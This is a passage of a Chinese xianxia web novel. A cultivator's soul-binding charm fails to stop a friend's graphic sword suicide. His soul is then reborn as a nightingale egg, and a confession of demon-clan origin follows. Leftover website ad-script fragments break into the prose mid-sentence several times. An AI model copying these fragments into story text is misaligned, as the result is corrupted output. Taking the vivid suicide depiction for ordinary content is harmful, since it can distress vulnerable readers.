语落之时,栾恪云突然双眸瞪大,胸膛之处一个震起,“嗬”得吸入一口长气,瞳孔随之剧烈震颤,宛如鬼神附体。 又是几个呼吸间,栾恪云双眼从一片灰浊缓缓重新凝神,逐渐恢复了视力与神智。 栾恪心脸上的悲愤骤然一僵,大惊。 金字言咒,以言画符。 寻常修士之中也有不少大能修炼至此,但需在施咒前诵千言真经方能成型。 而今玉阑音只是唇齿相碰,轻言一字,居然便下成了这金字符。更何况如今的栾恪云已是偷生百年,势必为天道不容,普通的仙界之符咒难与其抗衡,这也是栾家不惜冒险启用厌灵阵法的原因。 可玉阑音的这至简的金字符,居然连天道要收回的魂灵都能困绞!这是何等恐怖的咒力! 就连一直默不作声的温卓都忍不住看了玉阑音一眼。 然而比起钦佩或是惊惧,温卓眼中更多的是一种滚烫的暗翳,似爱,又似其他。 那是温卓自己都说不清的情绪。 是的,这人本就不该拖着一副病躯委于一隅。 看到玉阑音凌厉的眉眼和不遮不掩的滔天神力,温卓的神魂都在为之战栗。 如果这个世界真的有王冠和宝座,那他愿用漫长又短暂的一生、寸寸难捱的荆棘与鲜血,为他加冕。 玉阑音在众人各色的目光中淡然一拱手,道:“我既为仙盟之人,虽才不配位,但如今也确为仙盟十方宗掌事。恕原则道义所在,厌族法器法阵自是要悉数毁去,还请各位莫要叫我再为难。” 栾路安自然听得出玉阑音话中的言外之意,连忙拖着栾恪心跪在地上行了两个大礼,“谢长老开恩!谢长老开恩!” “何必行如此大礼,举手之劳。”玉阑音看着两人额头一片血色,抬手虚虚一扶,“恪云一路于我多加照顾,承蒙恩情,如今我保他一命,之后对于此事我也不再过问。但也望各位今后好自为之,若是再有此事……” 玉阑音一顿,“不劳仙盟他人,届时我定亲自动手。” 栾恪心由于方才对玉阑音无礼,心中有愧。 他脸上一阵红白变换,随后挣开栾路安的拉扯,直挺挺又磕了几个响头,“谨记长老所言,此番过后我栾家定是改邪归正。如若再犯,以死谢罪!” 一旁的栾恪云虽然回了神,但始终呆滞地望着厅顶,对其余几人的对话充耳不闻。但栾恪云话音刚落,栾恪云忽然动了。 他沉默着爬起身,脸上一片空白,入目只见烟尘翻飞沾上的灰尘与泪水的泥泞。 栾恪云的身形不稳,站起来歪了一歪险些摔倒在地。他手中握着佩剑,朝玉阑音行了一抱剑礼,嗓音沙哑粗粝:“谢长老救命之恩,但……恐怕今日是要糟蹋您这金字定魂符了,只求长老莫怪罪。万望保重,福泽绵长。恪云谨祝。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不等他说完,玉阑音已经敏锐察觉到了什么,他来不及开口,神色一厉,迅速伸手欲夺下栾恪云手中剑。 可还是为时已晚,栾恪云身上忽然暴起一层浅金色灵气。他猛地拔出了佩剑,剑刃一转,直直刺向自己的脖子,将脖子穿了个对穿,随后他发了狠,又把剑往旁侧一拉,直接断了半个脖子。 栾恪云这番残忍的动作下去,便是根本没给自己留一丝一毫苟延残喘的时间,当即便如愿地止了呼吸,辞别了这痛苦的人间。 霎时之间,鲜血喷涌一整个大殿,众人身上脸上尽是喷溅的血液。 一旁的温卓最先回了神,他剑眉一蹙,当即的第一个动作便是把玉阑音揽到了自己怀里,挡住了玉阑音的眼睛。 这一幕其实玉阑音已经看了个一清二楚,身上也已经溅上了不少鲜血,但是被人这么挡住眼睛的确是十分新奇的体验。 玉阑音的睫毛轻颤,扑簌簌划过温卓的掌心。 随后轻轻将温卓的手拿了下来,安抚似的拍拍他的手背,“我没事。” “恪云!” “恪云!” 栾路安和栾恪心一老一少的声音齐齐响起,甚至是由于呼喊得过于焦急破了音。 栾恪心颤抖着扑过来,将接近身首异处的栾恪云抱在了怀里,“恪云!恪云!你……” 他的双手根本不知该落在哪处,只能无助地按住栾恪云断了一半的脖子,他浑身发着抖,比怀中之人更要痛不欲生,“……恪云,你……你别吓哥啊恪云……疼不疼啊,恪云,你和哥说说话……” 栾路安一介经商的文人,见了这番场面本就腿软,如今痛失爱子,方才一声高喊,一时之间急火攻心,两眼一白直接晕了过去。 温卓眼疾手快接住了栾路安,将他缓缓放平至地上。 一旁的栾恪心抱着栾恪云的尸体,今夜第一次失声痛哭。 一片悲痛声里,所有人中最先看向玉阑音的,不是栾恪心,而是站在玉阑音身边的温卓。 玉阑音抬眸对上温卓,“怎么这么看我?” 温卓又看了他一会儿,遂别开眼,“……救不了了吗?” 有风自背后吹来,温卓高高束起的头发飞舞,发尾扫在玉阑音的脸颊处,有些发痒。 玉阑音本想轻轻抚开,最终大概是因为心里想着事,手指一曲一蜷,无意识地将温卓的发在指尖绕了两圈。 他开了口,声音之轻宛如叹息,“求死之人,救不了的。” 可是忽然,温卓的头发被玉阑音揪得一疼,他侧过头看去。 玉阑音似乎丝毫没有发觉他下手没了轻重,正垂着眼,不知在想什么。 于是温卓任由他缠着自己的头发。 院落之中传来清晨特有的虫鸣鸟叫,远处天际从暗蓝色逐渐升腾起紫雾,再然后是橙红色的霞光。 蜀中第一抹阳光穿破晨雾,将正厅之人的影子打在墙壁上,拖得好长。 玉阑音回头看向院里抽芽的老树,目光迎上橙红的朝日,他眯了眯眼。 正厅之中一片血色,玉阑音脸上身上的血污也未净,老树之上一只寒鸦。 多么安详的清晨。 “天亮了。”玉阑音轻声道。 30. 夜莺 温卓没说话,盯着玉阑音眼下的两滴血渍好一阵出神。 像眼泪。他不喜欢。 温卓大脑还如此走着神,手却已经半是不受控抬起,替玉阑音将这血滴擦去了。 玉阑音眼下乍然被碰,一愣,“嗯?怎么了?” 温卓骤然回了神便觉出了唐突,他悄悄将手藏回宽大的袖袍下,捻了捻,“没怎么。” 玉阑音笑了。 他今夜笑得很少,大多数时间甚至连话都很少,如今这般忽然笑起来,居然叫温卓莫名觉得有点陌生和受宠若惊。 “是不是嫌脏?”玉阑音笑道,“肯定是,你打小就这样。” 语罢,他自作聪明地轻轻挥手,一个小洗涤术净了自己与温卓的衣和身。 “这样可好了?”玉阑音笑道。 温卓看他一眼,“嗯。” 正厅内,仍旧抱着栾恪云尸身失魂落魄的栾恪心,仍旧躺在地上未转醒的栾路安,和一片血污的大殿。 依旧一片狼藉。 温卓几个转眼,将这一切都看过去。 玉阑音也顺着他的目光将这一切尽收眼底,最终只是摇摇头,“我们走吧。” 如今栾府的鸡毛一地,他们二人能做的都已做尽,剩余的只有等待,等待这只伤痕累累的鹿独自醒来。 如若外人于此处,无论是哭是笑,恐怕连安慰都是残忍。 更何况,虽然情交一二愿为此网开一面,但真要论起来,结果也不过是咎由自取。 这便是命运的价格。 温卓点头,说了好。 回屋的路上,玉阑音神色淡淡,宛若闲谈道:“方才栾路安话里提到的炼化炉的炉阵,你如何看?” “不似说谎。”温卓回想了一番方才栾路安的神态动作,“况且,也没必要。” “那也就是说,私自炼化厌族法器,后交由你云霄大比的对手,大概都是窃炉之人陷害与恪心恪云。”玉阑音轻轻一摸下巴,“你这些年里,可有同谁交恶?” “未曾,”温卓道,“进入宗门后我鲜少离开药谷,闭关数十载,直到大比之前几日方出关,同旁人交往甚少,也没闹过什么不和。” “只是炉阵一事,恪心定已是多加细心谨慎,”玉阑音秀眉轻敛,“但药谷长老众多,这些年都未发现异样,究竟又是如何被宗门以外之人抓了把柄去的?” 温卓当即明白了玉阑音的言外之意,“你的意思是……” “嗯,这事更像是十方宗之人所为。”玉阑音面色微沉,“不过这也只是我一人猜测,此人动手这般繁琐,目的却尚未明了,先就此不提也罢。” 两人说话间已经行至客房门前。 如今天大亮,于是温卓大大方方跟着玉阑音进了屋。 玉阑音这一晚上虽然未入眠,甚至是大动筋骨了好几回,但出人意料的是,他的状态并不差,甚至能称得上是有精神。 温卓瞧着,在心里暗暗记下。 他决定以后把玉阑音当个储灵袋用,有事没事就往他灵脉里输些灵气,估计是有些益处。 具体是有什么益处他这个战术师自然是说不明白,还是日后回了药谷向善玄师兄讨教一二好了。 想到药谷,他难免就又想到了那叽叽喳喳惹人嫌又惹人喜的栾恪云。 玉阑音心里清楚今晚温卓状态并不好,于是大多时候都有在留意着他。 也因此他精准地捕捉到了温卓一闪而过的低落。 玉阑音摸温卓的心思摸得很准,他边煮茶叶便温声问:“是想到恪云了?” 温卓对此也没什么好瞒着他的,诚实道:“嗯。” “由他去吧,”听了这话,玉阑音将手中的茶具轻放至桌台,“于恪云而言,现世已作阿鼻地狱,离开也不过是解脱。” 温卓听着,却好一会儿没说话。他定定看着玉阑音,似乎在思索着什么。 直到很久后,久到茶水都沸腾,他才变戏法似的摊开掌心,只见他掌心之处静静漂浮着一块琥珀大小流光溢彩的气笼。 玉阑音打眼一看便愣住了。 温卓平展着掌心,道:“救得活。” 方才玉阑音同他说过,求死之人,救不了的。但是温卓不这么认为。 玉阑音盯着气笼,半晌没说话。 温卓没听到回应,便固执地又说了一遍:“救得活,对吗。” 这句话似乎终于是唤醒了玉阑音。玉阑音微不可察叹一口气,随后似是无奈至极,哑声失笑,道:“你啊……” 气笼,锁魂之器,一笼一魂,未有失手,珍稀异常。 可今天,温卓却是毫不犹豫地用这珍贵的法器,硬生生地再一次把栾恪云的心魂保了下来。 “我已经封了他的记忆。你救得活他,对么?”温卓盯着玉阑音,问了第三次。 “……三成把握吧。”玉阑音败下阵来,终于认道。 温卓听到这话微微松了一口气。 这却叫玉阑音心中纳罕更甚,“不过,一一,你今日是怎么了?这还是我第一次见你这么……” ……这么什么呢? 玉阑音拖着长音想了好久,一向巧舌如簧舌灿莲花的他,这回愣是没找到合适的词话来描述这种奇异的错位感。 温卓并不是个会为了生离死别哭闹的小孩心性,相反,他心善忠义,同时又比任何人都能放得下。 更何况,过去这么多年,温卓从来没有用这种近乎强迫的语气质问过他。 这实在是叫他心下疑惑不已。 温卓用那一双似乎能穿透谎言的漆黑的眼瞳直直看着玉阑音,好半晌,开口道:“因为你好像很想救他。” 玉阑音毫无防备闻言,手中斟茶的手簌乎一抖,洒出了不少。 温卓似乎像是没看到一般,又说一遍:“因为你想救他,阑音。所以我想救他。” 玉阑音每每看着温卓的眼睛都有种无处遁形之感,这次依旧如此。 他回头叹息一声:“一一啊,你可真是……” 温卓两耳自动略过玉阑音惯用的咏叹调前摇,等待着他的下文。 “……我的确是想救,谁不想呢,一个这么好的孩子,是不是?”玉阑音抽出帕巾,擦拭着桌上溅出来的水渍,“可离去与告别是一部分的生命,这就是人生。” 温卓看他一会儿,“你说的不对,阑音。想救便救了,这才对。” 玉阑音一哂,摇摇头,“你在任性,一一。” 温卓没说是也没说不是,他再度去追随玉阑音的一双眼睛。他真的很想看清,这人此时究竟是用什么眼神在说着这句话,“阑音,你知道吗,你说这话的时候甚至没有看我。” “你这句话,是和我说的,还是和自己说的?” 此言一出,玉阑音只觉心神一颤,一抬眼,却猛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地撞上了温卓沉沉的目光。 温卓回望着他,他的语气算不上苛刻,甚至颇为平静如常,“事情的开端总是唯一,但去往何处我只笃信一句事在人为。可是阑音,我不知道你自己有没有发现,在无数结果交织的岔路口,你选择的永远是最能伤害自己的那条,你是故意的,对吗?” 温卓这段话说得毫无征兆,根本没给玉阑音任何反应和逃避的时间。 “我只是想给你一点念想,阑音。”温卓垂下了眼睛,掩下那忽然汹涌的情绪,“栾兄去意已决,我明白的,我也并非只是为了来哄你所以自私地叫他重活一世不可。我只是……想给你一点念想。” 温卓其实不善言辞,他自己也很清楚自己一番话颠三倒四,只怕越描越黑,说到这儿便住了嘴。 玉阑音大概有近半柱香的时间没说话,手上也没有动作。 温卓便站在一旁安静地等着。 终于,玉阑音动了。 他看起来似乎只是直了直太久未动僵直的脊背,声音甚轻自语道:“……念想么。” 说着,他摸摸桌上的茶杯,可惜茶水已经凉了。 “不过,你有一点说错了,”玉阑音重新将茶壶放到了火炉上,“不是没有念想。” 还没等温卓来得及开口说什么,玉阑音已经手一勾,将温卓手里的气笼勾到了自己手里。 随后,他瞬间在手上凝起一阵灵气,同时飞速地结起印,手指翻飞速度之快甚至只能看到残影。 “你还记得恪云说过,”玉阑音手上飞快结印动作不停,可神色却从容如常,甚至是带着一丝浅笑,“那次他说,如果有来生,他要做……” “一只鸟。”温卓几乎是顷刻就明白了玉阑音在做什么了。他眸光极为闪烁,答道。 玉阑音莞尔一笑,“对,当只小鸟。择木而居,邻湖而栖。” “方才我说只有三成把握,是骗你的。因为如果是我……”玉阑音结印的手终于停下,气笼之上金光符文流转,爆发出耀眼的光辉。 这亮光刺眼无比,甚至搅动起一阵小范围的风,吹动着玉阑音额前的碎发,映得他的眉眼处光斑溢彩,宛如捧着神灯的神祇,神圣万分。 等到这阵光逐渐消减,这时便能看到玉阑音手心里躺着一只洁白的蛋卵,其上仍旧流转着金色符文,有顷,符文之光愈发减淡,最终则是隐入卵壳消失不见。 “……那定是有十成把握的。” 玉阑音唇角轻扬,将前面未竟之句补齐。 他眼中残存一丝自命风流的谦卑与狂妄,这种极少显露在玉阑音身上的少年意气,一时如排山倒海,震颤了温卓的心扉。 “不过他倒是没和我说清楚要做只什么品类的鸟儿,我便随我心意给他糊弄了个,”玉阑音伸出双指,一敲手中的鸟蛋,“就让他做只八哥好了。这辈子这么能说,下辈子也继续说下去吧。” 温卓看着他,眸光闪动,心中一片酸软。 玉阑音看他的表情,以为温卓这是对他变了只八哥有意见,于是眼眉带上了一抹无奈的调笑。 “看你这苦大仇深的样子,放心吧,是只夜莺。”玉阑音把这鸟蛋往温卓手里一塞,笑道,“这小东西得用灵气温养,估计得养个大几年,我可养不起,是你要救的那你便自己留着吧。” “等到他醒了的那天,如果我不在,就麻烦你帮我转告他,这辈子,要用唱的。” 31.归程 温卓闻言,连呼吸都滞了一瞬。 他将这夜莺的蛋卵收进了识海,拿灵识好生温养起来。 忽然,栾府正厅方向传来了一阵锅碗落地碎裂的声音,随后是栾夫人一声绝望的惨叫。 鸟雀惊惧振翅而飞,扑棱棱的打风声划过寂静的清晨。 屋内的玉阑音和温卓皆是一顿。 火炉上的复热的茶沸腾了第二次。 玉阑音神色如常地将小壶拿下,斟满了两个茶盅。 随后倒是温卓先开了口:“灵气还够吗?” “够的,”玉阑音眼眸一转,笑道,“不过——再多些也无妨。” 于是温卓点点头,老老实实又输了些灵气给他。 “对了,一一,”玉阑音捧着热茶窝进了躺椅,“这么久我都忘记问了,你那只灵犀灯的传声符文设了什么?若是以后灵力不够了我便要用灵犀灯找你了。” 没想到听了这话的温卓突然愣住了。 玉阑音久久没听到温卓的回话,搁下茶盅一抬头就看见了他这副难言之隐之神情。 难不成自己是问了什么过分的问题? 玉阑音思忖甚久才开口问道:“是我说错了什么?” 温卓的声音忽然有些闷声闷气,“没有。” 其实在这个瞬间,温卓喉头积压着千言万语。 可这滔天的爱意即将溢出之时,他同玉阑音对视,几乎是一瞬间,便像是冷水浇头一般冷静了下来。 是了。 大概是前些天的日子太顺心了,叫他好像有些得意忘形。 明明昨夜三两件厌族法器就能叫他乱了心神。 居然还真当自己是个金刚佛心的东西了。 温卓还能记得阿纳说捡到他的那天,虚宿和危宿的星星亮得刺眼,天象奇凶。 打小阿纳便总说他生来不详,是个灾祸,会害死身边所有的人,他对此从不在意。 可现在他迟疑了。 他并不在乎善恶,也不在乎那些关乎正义的大道理。 对于自己究竟是人还是鬼是兽,他其实根本就不在乎。 不负天下人的大话他说不出口,但是至少,不能是玉阑音。 不能是眼前这个,他最珍贵的,最深爱的,无望的爱人。 可他偏偏是厌族。 玉阑音如今的一身伤病,囚禁在北塞的那些年月,那逐渐挛缩的生命,未尝就不是他暗中的手笔。 温卓无比冷静地在心里将这一切想过,念过。 他甚至冷静到,识海里那厌族都未翻起一丝波浪。 温卓如此想着,手一动,轻轻将玉阑音正喝茶的手按下。 玉阑音稍显错愕,不过这神情也只是转瞬即逝。他很快便好整以暇直了直脊背,似是无奈地拍了怕温卓的手。 随后他便又是一顿,“怎么了?手好凉。” 温卓此时的目光沉得像是再也化不开了的墨,却又比任何一刻都要沉静。 大概浑身上下唯一能泄露了他手足无措的,就只有他正捉着玉阑音的那只冰凉的手。 温卓摇摇头,“没怎么,只是有话要告诉你。” 玉阑音倒是也没着急收回手。 他眨眨眼,遂抬头,此时已笑意盈盈:“嗯,我知道。” “阑音,我……”温卓看着这人的眼睛,声音似乎是划过舌下的滞涩的绳索,吐出的每个字都带着轻微的破裂声,“……在闭关了的第一年我便知道了,当时我灵基不稳,心神不定,我——” “温卓。”玉阑音没怎么费力地便将手抽了出来,随后在温卓惊慌的目光中,回握住了那只冰冷的、紧张的、绝望的手。 他声音极轻,却又不容置疑地打断了温卓的忏悔,“我说,我知道。” 温卓甚至还没能完整地说完一句话,所有的话就这么卡在了喉间。 玉阑音看着温卓,又重复了一遍:“我知道的。” 温卓此时觉得有什么东西已经轰然碎裂。 但由于碎裂得太突然,他一时分不清这究竟是真的快乐,还是因为解脱而产生的幻觉。 玉阑音见他这般,蓦地觉着有些心软。 这孩子打小就想得多,想必是怕这身份会同自己生出嫌隙,便自己藏了下来。 而那些年里玉阑音正四下凡尘俗扰缠身,病气深重,也难顾得上温卓,甚至连灵犀灯都从未主动与他响过。 叫他自己一个人孤独地走了这么多年。 如此想着,玉阑音越来越觉得自己那些年简直像是个甩手掌柜。 那些年里他把温卓托付给元宿央、托付给秦鹤生,便认为已然尽善尽美,假定温卓定是后途顺遂,万事大吉。 他做这些也都是一番好心加心用意,也以为这就是他能做到的最好。 可玉阑音看着温卓如今这小心翼翼同他坦白的样子,忽然心中一阵酸涩。 他将温卓托付给了好多人,唯独遗漏了自己。 他扪心自问:玉阑音,你的那颗真心呢。 这时,温卓哑声开口道:“你知道的……很早,对么。” 玉阑音看着这样的温卓,愧疚更甚,温声开了口:“嗯,见你的第一面,便知道了。” 温卓点点头,没再继续开口。 他不打算去问一些“为什么不早告诉我”这些无聊的莫须有的话。 面前这人皮里阳秋,能说出口的大概都不是实话。 而无论这人答得再怎么天花乱坠,中心意思也不外乎是一句“我以为我瞒得住”。 更何况,温卓对这个问题的答案根本就不在乎。 自己这些年里那些无穷尽的自厌,无数水深火热的拉扯,不停歇的死去活来,他百年的纠结与痛苦,其实他根本就不在乎。 因为现在的结果,是他浅薄的眼力能幻想出的最好的一种,那就是:他不恨我。 这就够了。 玉阑音伸手稍大力地捏了捏温卓的肩头,恍然想起这孩子小时候。 那时候他为了不惹恐慌,一直以普通人身份定居在札布萨,直到那次意外才叫温卓知道了实情,这倒是叫温卓发了好一阵脾气。 吓得玉阑音强撑着假扮了好些日子的身强体壮之人。 可现在的温卓不会了。 玉阑音半是欣慰半是自责地想,原来这个孩子早就不是曾经那个需要躲在他羽翼之下的莬丝花了。 他又将温卓细细看过一遍,“抱歉。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不过温卓听后却是疑惑地蹙眉。 他丝毫不觉得玉阑音需要因此而向他道歉。 玉阑音嗤笑一声,轻轻地望进温卓眼中那道深湖,半是泄气地笑着摇摇头。 “闭关之后消息越来越少的原因便是因为这个?”他噙着一丝未尽的笑意,转开了话头。 温卓立刻又像方才逃避传声符文一般,十分刻意地转开了目光。 玉阑音:“……” 玉阑音:“?” “我又问错问题了吗?”玉阑音眨眨眼,问道。 “没有。”温卓一个人兀自在一旁奇怪地站了一会儿。 “不是因为这个,”很快就又转回了目光,“是因为一些……私人原因。” 玉阑音听得一叹三惋,他佯装啧啧,“原来是有秘密了,不说便不说罢。” 闻言,紧绷了好半晌的温卓微不可察地松了口气。 他的这点小动作玉阑音尽收眼底,他心中失笑:刚说他长大了,怎么细看却还是个小孩心性。 他摇摇头,将目光转向了窗外愈发清亮的天光,良久,道:“时间不早了,是时候要告别了。” 可真到了最终两人启程之时,出门相送的却只有栾恪心一人。 栾恪心的脚步虚浮不稳,他眼眶红肿,唇色几乎是完全褪去,甚至由于过度的哭喊已然脱水干裂,道道红痕触目惊心。 他见到玉阑音和温卓,当即便弯了双膝欲行跪拜大礼。 玉阑音眼疾手快托住了栾恪心,低声道:“恪心,熟人相送,不必如此。” 他一直抱着暖炉的双手还带着温热的余温,叫栾恪心一时眼眶又是一热。 可他早已再流不出一滴泪来。 温卓看着这同样曾是天之骄子的人,如今却已无一丝一毫当年同窗之时的锐气难当,心中滋味难言。 他略一回首,只觉得那日他初入博观殿,兄弟二人齐齐抬头看向他的画面仿佛还在昨日。 栾恪心嘴唇发着抖,还是没想漏了礼数,拱了拱手面色苍白解释道:“家父受了刺激,方才苏醒后不辨来人,智如三岁小儿。家母同样不堪其苦如今正悲伤万分,恕难外来相送,还望长老师叔……” 不过他说着忽然一顿,似乎是察觉所言不妥,改口道:“……两位道友,见谅。” 一时之间,寂静无声。 最终是玉阑音先开了口,他抱着暖炉的手纹丝未动,款款颔首:“愿君保重,玉某告辞。” 温卓抿了抿唇,一顿,才朝栾恪心拱了拱手,“保重。” 栾恪心只在原地憔悴着苦笑,未能再语一言。 玉阑音与温卓再一微微福身,转身,便是作别了这个风云变幻的蜀中。 栾恪心在二人身后垂首相送。 他站了很久,久到他的肩头微微耸动,久到他的眼泪再度滑落,再坠向不知名的任何地方。 或许就是因为这个早上太过清冷,也或许是因为清晨的阳光太过刺眼,总之,转身而走的玉阑音和温卓并未立刻缩地术回到虚空山。 二人不发一言地、沉默地往无尽头的前方走去。 在这路上,没有一个人率先开口,说出那句“我们该走了。” 32.邀约 等到温卓与玉阑音终于一个缩地术稳稳落回虚空山之上的“流离所”内之时,已经是午时时分。 由于缩地术速度实在是太迅猛,骤然落回十方宗之后两人都是不可避免地有些不适应。 时空一转,此刻回想几个时辰之前蜀中的一切,居然已似镜花水月般虚无破碎。 那段血色的回忆,仿佛只是悠然午后,小憩之时一场悲伤的春秋大梦。 “好冷。”玉阑音忽然道。 温卓像是如梦初醒,恍然回了神,连忙点起了壁炉,边道:“初春天气凉,抱歉,我忘记了。” 这忙送不迭的道歉搞得玉阑音一愣。 他好笑:“我这也不是怪你的意思,怎么道起歉来了?” 温卓不答话,只仔细端详起玉阑音的面色。 玉阑音被他翻来覆去看得发毛,无奈地笑着推推他,“好了好了,再看都要掉一层皮了。我现在舒服得很,不骗你。” 温卓不着他的道,自顾自说起来:“你太久没睡了,身体舒服了也不能这么折腾。” 他一边说一边不容拒绝地连推带把玉阑音往屋里带,“我去找掌门禀报蜀中一事。你正好趁着中午天暖,去睡会儿。” 玉阑音像只小木偶似的,被温卓这个大个子提着来回转,安排得明明白白。 最终,这场木偶戏以玉阑音被迫在床被裹成了粽子结束。 这小时候的贴心小棉袄,怎么长着长着就开始像个土匪头子了。 玉阑音心中腹诽,但身体却是一动没动,仍旧老实地在床上当着蚕蛹。 随后这人形蚕蛹似乎是想到了什么,扭头朝着温卓道:“如今你已经回了十方宗,防人之心不可无,遇事定要多加小心。” 温卓了然,应了一声。 “我太久未归,如今十方宗内弟子长老众多,很多我都不认识了。”玉阑音点点头,又继续道,“唯一敢肯定的大概只有鹤生善玄两人,你的身份他们很早便知晓,平日大可随意些。” 温卓一愣。 “别这副表情,你对此定然也起过疑心,”玉阑音一哂,“你天分极佳,当时让你随着善玄修行也是我授意的。只是没想到善玄这倒霉孩子,一声不吭地直接把你挂到我名下了。” 温卓:“……” 玉阑音揶揄似的一笑,“一一啊,苍天在上,我可真不是为了占你这声‘师尊’的便宜,你怪便怪你师兄去,这事儿可都是他搅和的。” 说到这里,他忽然一顿,似乎是想到了什么,又补充道:“哦,还有宿央,你的事情他也知道。他也信得过的。” 温卓的神色忽然又是一顿。 “我很早嘱咐过他,多来看看你,你若是遇到什么困难了就帮衬一二,”玉阑音笑道,“只是没想到你们两人会这么不对付。” 温卓低着头许久未吭声。 好一会儿,他才没头没尾开了口:“阑音,我寒铁弓之上的金光咒,你也是有意的,是不是?” 这话突如其来,说得玉阑音一怔忪:“嗯?什么金光咒?” 语罢,他在记忆里好一阵翻腾,这才忽然灵光一现地猛然记忆回笼,“哦,你说你那弓上的符文啊。” 温卓点头,“嗯。” “金光咒镇邪祟,安气神。你是厌族,随着长大自然是要时常神魂不稳,我早便琢磨着找机会给你个什么东西,好叫你把这咒随身带着。” 玉阑音回忆道,“正巧当时你嚷嚷着想要一副弓箭,所以我便直接把符文刻在弓身上了。寒铁不容易毁坏,做这弓也合适。” 温卓深深地看了玉阑音一眼,眼中似乎是瞬间闪过了许多情绪。 玉阑音温温和和一笑,“别站着发呆了,不是要去找鹤生?” 不过等到温卓真的出了门后,玉阑音就贱嗖嗖地觉得太过安静了。 想到这里,他好笑地摇摇头。 果然还是上了年纪,居然开始喜欢上热闹了。 玉阑音躺在床上,被被子卷得行动不便,于是竖着耳朵,分神听着温卓的脚步声。 听他的脚步声越来越远,最终不见。 或许是真的老了,也或许是方才的话里提到了从前。 总之,这个午后,玉阑音做梦梦到了好多回忆深处一闪而过的鸡毛蒜皮。 偶尔有他幼时南泽槐安城里的旧人旧事,偶尔是元宿央之辈,偶尔是温卓,更偶尔是那些人群里,仅一面之缘的过往浮生。 故事大多都很久了,只是回忆起来却又如此清晰。 清晰到,他甚至连树杈之上生长的是柳叶还是碎花,停的是麻雀还是黄鹂都能记起。 温卓出了门后其实侧耳在不远处听了一会儿,确保这爱阳奉阴违的玉阑音确实没什么大动作后,这才去到了天庸峰去寻秦鹤生。 天庸峰算是秦鹤生处理宗门大小事务之地,寻常来说自是来人甚少。 不过今日温卓刚踏上天庸峰就能听到隐约嘈杂的人声。 “……秋风,你怎么回回坐庄开天地牌?” “啊?我怎么又是虎头铜锤?青木是不是你?你是不是在这桌上下法阵了!你个卑鄙小人!” “……衍宣啊,咱俩这牌……我怀里揣得都是下山买八珍糕的钱啊……这都要输光了……” 温卓一进屋就看到了正在书卷堆里焦头烂额的秦鹤生。 再一转头,就见到茶桌之上,那一群七横八竖嗑瓜子吱哇乱叫的老熟人。 温卓:“……” 这十方宗究竟是多么藏龙卧虎,一群人打伙来掌门行政殿里推牌九? 此时输得愁眉苦脸的善玄眼睛一瞟,最先看到了猫似的进了大殿的温卓。 他高兴地立刻就甩下了手里的骨牌,“师弟?你来啦!” 温卓:“……” 温卓:“师兄。” 桌上其他三人一看抬了屁股就走的善玄,登即恼起来:“诶!善玄!你想逃?这轮你可是输了五十两!别想赖账!” 这另外三人依次是:依旧赖在十方宗不走的元宿央,脱了斗笠瞪着好奇的双眼的秋风,还有摇着孔雀羽绿扇子的青木。 真是丝毫不令人意外的配置啊。 善玄原本是对着温卓一个飞扑而来,但还没等落地,元宿央已经在身后两个大步赶来,大手一抄,提小鸡一样把空中的善玄提了回来,任凭他连哭带喊也无济于事。 温卓十分冷漠地站在一旁,甚至生怕惹了晦气,脚下轻快地向后退了一步。 他从容一拱手,算是同其他三人打了招呼,随后便目不斜视往秦鹤生那边走去。 善玄看着这退得八丈远的温卓,缓缓流出两行热泪,“师弟……你的同门情谊呢……” 一旁,十方宗掌门秦鹤生此时正忙得两眼之下一片漆黑,脸上的皱纹都多了好几道。 听见温卓的声音,他终于扒拉扒拉桌上挡着人的卷宗,露出了一张本就苍老如今大为憔悴的脸。 “是温卓啊……”秦鹤生揉揉污浊的双眼,“回来了?” 温卓应了一声。 随后,他看着已经要累得没了人形的秦鹤生,实在是有些担忧,“掌门,您还好么?” “我?我很好啊。”秦鹤生唉声连连道,“这段时间秉文不在宗门,大小事务都是我亲自处理,确实要比先前忙不少。” 温卓闻言,复而再看一眼那荒谬至极的牌桌,随后很是同情地又朝秦鹤生一拱手。 推牌九的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音不绝于耳,秦鹤生又是一个叹气:“这群臭小子,原本是来我这儿同我说话的,正巧桌上一套骨牌,他们又正巧四个人,居然就在我这儿推起牌九来了!” 秦鹤生说得无力至极,摆摆手住了口。 大殿内嘈杂至极,于是很快二人一拍即合地进了内室。 温卓三言两语便将蜀中之事同秦鹤生说了清楚。 秦鹤生听后沉默良久,拐杖点点地,好半晌才开了口:“……结局早已冥冥注定,这怪不得你,别太自责。其余的……” “……顺其自然,都过去吧。” 温卓不语。 随后两人又是天南海北的聊了会儿,这才重新回到正殿。 大殿内四人这一局的推牌九正巧结束,元宿央见到温卓出了内室,不情不愿迎过来,“哟,活着回来了?” 方才温卓刚得知元宿央其实很早便得知了自己的身份,如今再见,便也早就没了先前那相见两生厌的劲头。 他忽然就理解了元宿央。 因为如果换了是自己,玉阑音身边有一个居心叵测的厌族崽子,他估计早就一箭把这小畜生送去见云州上神了。 相比之下元宿央实在已经算得上是友善至极。 温卓如此想着,甚是恭敬地略微一拱手:“少掌门。” 这突如其来的礼貌倒是搞得元宿央好一阵不适应。 他脸上青青白白变幻一番,多疑地问道:“你这是……在蜀中受了什么刺激了?” 温卓从来不是一个死要面子、舍不得道歉之人,他十分利落又一拱手,“未曾。只是想到此前多有不敬,还望少掌门莫怪罪。” 这话直接把元宿央说出了一身鸡皮疙瘩。 他这人典型的吃软不吃硬,温卓服软的话一说,元宿央便立马不知如何是好了。 又是一阵怪异的扭捏,最终元宿央骄矜一仰头,轻哼一声,“……也用不着这么说,宰相肚里能撑船,我过去也没和你一般见识……” 温卓听至此,忽然低头一笑。 过去他同元宿央一见面,大部分时间便只顾得上吹毛求疵冷嘲热讽,真要论起来,两人还从未如此平心静气地说过话。 还真是一种……蛮奇异的体验。 元宿央见温卓一哂,几乎应激似的牙一痒,话头立即一转:“……但是这不代表我不敢揍你。” 温卓又是一笑,礼礼貌貌点点头:“少掌门说的是。” 